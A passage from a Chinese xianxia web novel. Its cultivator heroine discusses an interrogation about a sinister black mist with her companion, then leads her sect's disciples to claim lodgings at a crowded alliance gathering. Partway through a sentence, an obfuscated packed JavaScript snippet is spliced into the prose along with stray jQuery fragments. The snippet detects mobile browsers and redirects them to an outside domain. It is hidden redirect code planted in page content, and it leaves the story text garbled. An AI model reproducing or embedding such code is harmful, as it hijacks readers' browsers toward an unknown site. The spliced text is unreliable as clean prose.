主殿气氛凝重，压得人几乎喘不过气。
片刻后，应怀清踏出殿门，应松的法术还未撤，凛冽的寒风扑面而来，才稍稍吹散了心头沉甸甸的阴霾。她步履未停，径直返回百竹峰。
百竹峰的雪似乎比其他地方更厚些，踩上去发出细微的咯吱声。转过一片覆雪的青竹林，她一眼便望见自己洞府前伫立的那道月白身影。
江不言静立在那，肩头落了一层薄雪，清俊的侧颜在雪光映衬下更显温润沉静。他似乎已等候多时，听到脚步声，缓缓转过身来，目光沉静地落在她身上。
“回来了？”他开口，声音显得格外清晰。
“嗯。”应怀清颔首，推开洞府石门，“进去说。”
洞府内温暖如春，隔绝了外界的冷气。应怀清随手布下几道隔绝探查的禁制，灵光微闪间，将内外彻底隔绝。她走到石桌前坐下，示意江不言也落座。
“苏衍之的审讯结果出来了。”应怀清声音不高，带着一丝不易察觉的疲惫，“苏衍之的神魂被重创，记忆残缺。审讯艰难，只撬出一些零碎的。”
江不言静静听着，指尖无意识地摩挲着袖中卦盘。
“他将黑雾奉为‘神’，”应怀清颇有些无语，“黑雾找到他，只因他心底那份对力量的贪婪与渴望，被无限放大。至于黑雾四处掠夺一地灵力与生机的根本目的……”
她顿了顿，摇头，“黑雾很谨慎，苏衍之什么都不知道。但有一点可以肯定，彩凤城那样的邪阵，绝非孤例。黑雾的布局，比我们想象的更大、更深、更广。”
洞府内一时陷入沉寂。
“还有一事，”应怀清打破沉默，“桐酒镇镇长受伤过于严重，这一段时间执事堂那，一边替他吊命疗伤，一边审讯。”
江不言抬眸，等待下文。
“他儿子，曾是个有灵根的孩子，”应怀清微不可差地叹了口气，“却不幸被邪修盯上，生生挖走了灵根，最终惨死。黑雾也是抓住他丧子之痛和执念，以复活为饵，蛊惑他为其效力。”
应怀清指尖有节奏的在石桌上轻叩，“当初失踪的幼童，并非我们猜测的用于培养魔修吗，而是黑雾布下的饵，目的怕是为了杀我。”
“啧，”应怀清再次想到殉劫预言，有些不爽，“你那卦象不会是黑雾搞的鬼吧，天天也就这个东西想让我死。”
江不言拿出卦盘的动作一顿，有些无奈：“师尊的卦怎会出错。”
应怀清撑着下巴，挑眉看着他，“江不言你就嘴硬吧！那你怎么解释卦象偏移？”
“只是原先的卦象多了条不明的生门，”江不言并指点在卦盘上，温声解释，“可能是我突破看的更真切，也可能是……你真的改变了命数走向。”
应怀清“嗯”了一声，然后戏谑开口：“江不言，你看你也承认命数是可以改变的，当初……”
江不言没有承认亦没有否认，“但卦象的指向没变。”
应怀清轻啧一声，“江不言，你就嘴硬。”
应怀清紧绷多日，如今难得感到一丝自在，目光落在江不言略显苍白的脸上，话锋一转：“你什么时候才能用灵力？”
“月余。”江不言答道，迎上她的视线。
应怀清唇角微不可察地向上弯起一个极小的弧度，眸中掠过一丝促狭的光，指尖在桌面上轻轻一叩：“挺好。”她语气带着点理所当然的轻松，甚至有点理直气壮。
“总算轮到我履行‘保护职责’了。终于心安了，毕竟之前收了保护费。”
“保护费”三字被她刻意拖长了尾音，在寂静的洞府里显得格外清晰。
江不言端茶的手几不可察地顿住。他眼帘倏然垂下，睫毛投下一小片扇形的阴影，遮住了眸底瞬间翻涌的波澜。那白玉般的耳廓，以肉眼可见的速度，晕开一层薄而均匀的绯色。
他端起茶，借着氤氲升腾的热气遮掩，低头抿了一口，温润的嗓音努力维持着平稳，却比平时低哑了一丝，带着不易察觉的微颤：“那…便有劳应道友了。”
应怀清奇怪地看着他，心间涌上一股异样，打了个冷颤，掩饰性地灌了一口茶。
——
彩凤城一事过去，四境难得平静无事，但黑雾阵法一事压在仙盟各位长老心间，黑雾随时可能卷土重来。
原定于一月后齐聚无极门，经一致商议，提前齐聚无极门。
这天，正是开春。
每个门派，均由一名长老带着四名核心弟子前往。
白子墨恰好担任仙盟炼器教导一职，便由他带队，裴无渡决定留在宗门钻研刀法，等着他师父出关，其余弟子皆前往无极门集中培训。
无极门再次成为风暴的中心，各色流光自四境八方汇聚而来，比仙门大比时更为壮观。这一次，抵达的不再仅仅是年轻一辈的佼佼者，更有许多威势内敛的身影——那是各派的中坚力量，入化神期已久，应怀清当喊师兄师姐的人。
天枢峰上，临时开辟出的连绵院落区，成了最热闹也最易起纷争的地方。灵气虽经阵法引导尽量均衡，但地脉走向总有细微差别，靠近峰顶核心区域的几处院落，灵气明显比其他地方浓郁数分。
“凭什么你们玉衡宗就能住这个院？那地方挨着灵眼泉，灵气都快凝成水雾了！我们斩春门的弟子就不是来为仙盟效力的？”
一个身材魁梧的西境刀修，声如洪钟，正对着负责分配院落的无极门执事弟子怒目而视。他身后一群同样气息彪悍的刀修弟子，也气势迫人。
负责的执事弟子是个年轻修士，哪里见过这等阵仗，额头冷汗涔涔，努力解释：“这位师兄息怒！此院是…是和钧掌门亲自安排的，玉衡宗楚如仙子及其门下丹修弟子暂居的，她们炼丹需稳定且充沛的灵气，此院最为适宜……但，还有其他院落可供挑选，先到先得！”
“放屁！” 刀修毫不客气地打断，“炼丹需要好地方，我们练刀就不要好灵气打根基了？我看你们无极门就是办事不公！”
“就是！”狂沙殿弟子纷纷附和。
更远处，北境玄冰谷的一行人，裹着厚厚的雪袍，沉默地站在角落。为首的老妪，只是淡淡地扫了一眼争吵的人群，便将目光投向峰顶灵气最浓郁的方向，眼底深处掠过一丝不易察觉的考量。
止水宗一行人来得稍晚些，白子墨要去主峰进行炼器师议事，便由应怀清带着左一左二、谢云风来到住处。
穿过人群，正好目睹了这场闹剧。
左一抱臂看着，嗤笑一声：“啧，还没对上敌人呢，自己人先为个住处打起来了？出息！”
话落，左一眼睛滴溜溜一转，扯了扯左二的袖子，压低声音：“看见没？西北角那片竹林掩映的小院，叫‘竹居’，位置僻静，灵气虽然不算顶尖，但胜在精纯，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15923952|177095||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而且离主殿不算远。这会儿还没人抢呢！”
应怀清也注意到那处，确实还无人选择，只是还未开口，左一身形一晃，游鱼般穿过人群，几步就窜到执事弟子前。
“师兄师兄！”左一笑容灿烂，语速飞快，“止水宗应师姐带队，我们人不多，就住那‘竹居’了，劳烦登记！”
执事弟子被这突如其来的“截胡”弄得一愣，还没反应过来，左二已经眼疾手快地将代表止水宗身份的玉牌按在了登记玉册上，灵光一闪，名字已然录上。
“哎！你们……”旁边一个本想争取竹居的小门派长老顿时急了。
左一回头，一脸无辜：“诶前辈，先到先得，仙盟规矩嘛！您看那边不还在争嘛，您赶紧去，说不定还能抢到更好的！”一句话堵得对方哑口无言。
谢云风推了推他的单框镜片，目光扫过登记玉册，冷静地补充：“竹居，占地面积适中，灵气浓度评级乙上，地脉属性偏木，综合性价比在可选院落中排名第三，选择合理。”
应怀清无奈摇头，却也懒得管这些琐事。她的目光掠过喧嚣的人群，敏锐地捕捉到人群中的细碎议论。
“……听说了吗？剑宗的褚凡师兄，前日闭关冲击化神，成了！引动的雷劫，百里可见！”一个消息灵通的修士正唾沫横飞地向同伴分享。
“真的假的？”
“不止呢！西边云梦谷那位以炼体著称的‘铁罗汉’，据说也摸到了化神的门槛，正在闭关！若是成了，啧啧……”
“这年头，突破化神怎么跟雨后春笋似的，前有应怀清雷劫夺剑，震动四境，这才多久？”
“嘿，任谁都知道大难临头，潜力自然被压榨出来了呗！不过话说回来，应怀清那柄剑……啧啧，天道所赐啊！真是人比人得死……”
议论声渐渐压低，话题无可避免地扯到那个敏感的名字。
“哎，你们说苏婉明那事，止水宗真就一点不知情？”一个声音带着试探和怀疑，“养虎为患啊！堂堂第一大宗，首席弟子被邪魔蛊惑至此……”
“嘘！小声点！没看见止水宗的人就在那边吗？应师姐可在呢！”同伴连忙拉扯提醒。
“在又怎样？留影石记录得清清楚楚！苏家都发公告将她除名了，这还能有假？”那人虽压低了声音，语气中的质疑却未减分毫，“我看呐，止水宗这‘第一仙宗’的位置，坐得未必就那么稳当。出了这等叛徒，威信大损啊！”
“话也不能这么说，”有人试图公允，“苏婉明是苏婉明，止水宗是止水宗。可别忘了秘境里，可是应师姐救的大家！”
“功是功，过是过！管教不严，让门下弟子堕入魔道，还闹得天下皆知，这就是止水宗的失职！”质疑者依旧不依不饶。
这些议论飘入止水宗几人耳中。左一瞬间收敛了笑容，谢云风镜片后的目光冷静地扫过议论传来的方向，默默记下了那几个修士的样貌和所属门派。
应怀清的神情却没什么变化，她只是抬眸，目光平静地扫过那几个议论最响的方向，眼神沉静，无喜无怒，却带着一股无形的威压。
被她目光扫到的几人，心头莫名一凛，后面的话顿时卡在喉咙里，讪讪地移开了视线，不敢再与之对视。
应怀清收回目光，淡淡说了句：“走吧，去竹居看看。”话落迈步，青衫拂动，走向那个由左一智取下的清幽院落。